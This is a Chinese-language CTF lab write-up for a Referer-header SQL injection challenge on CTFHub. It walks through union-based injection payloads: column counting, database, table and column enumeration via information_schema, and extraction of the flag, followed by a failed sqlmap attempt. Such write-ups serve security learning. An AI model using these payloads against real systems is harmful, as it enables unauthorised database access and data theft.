直接挑明是Refer注入
用burp抓包发送到repeater:

发现缺少referer报文头,添加一下,判断是整数型注入还是字符型注入:
Referer: 1 and 1=1#


正常回显
1 and 1=2#

回显错误,说明是整数型注入
(1)判断一下字段数
1 order by 2#

正常回显
1 order by 3#

回显错误,说明字段数是2
(2)查看数据库位置
1 union select 1,2#

看样子可能不在数据库中,老样子,改成-1 union select 1,2#

回显成功
(3)爆数据库名
-1 union select 1,database()#

得知数据库名是sqli
(4)爆表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

得知vjrnfqmoar表和news表
(5)爆列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='vjrnfqmoar'#

得知pnzslmlazg列
(6)爆字段内容(flag)
-1 union select 1,group_concat(pnzslmlazg) from sqli.vjrnfqmoar#

成功得到flag:
ctfhub{089baee1ea8dd6cad48f1bd4}
用sqlmap试试:
新建文件ctfhubreferer.txt,写入以下内容:
GET / HTTP/1.1

存到sqlmap的根目录下:

python sqlmap.py -r ctfhubreferer.txt -p referer --level 5 --dbs

但是出错了,换成kali的sqlmap试了试也还是不行,不知道什么原因
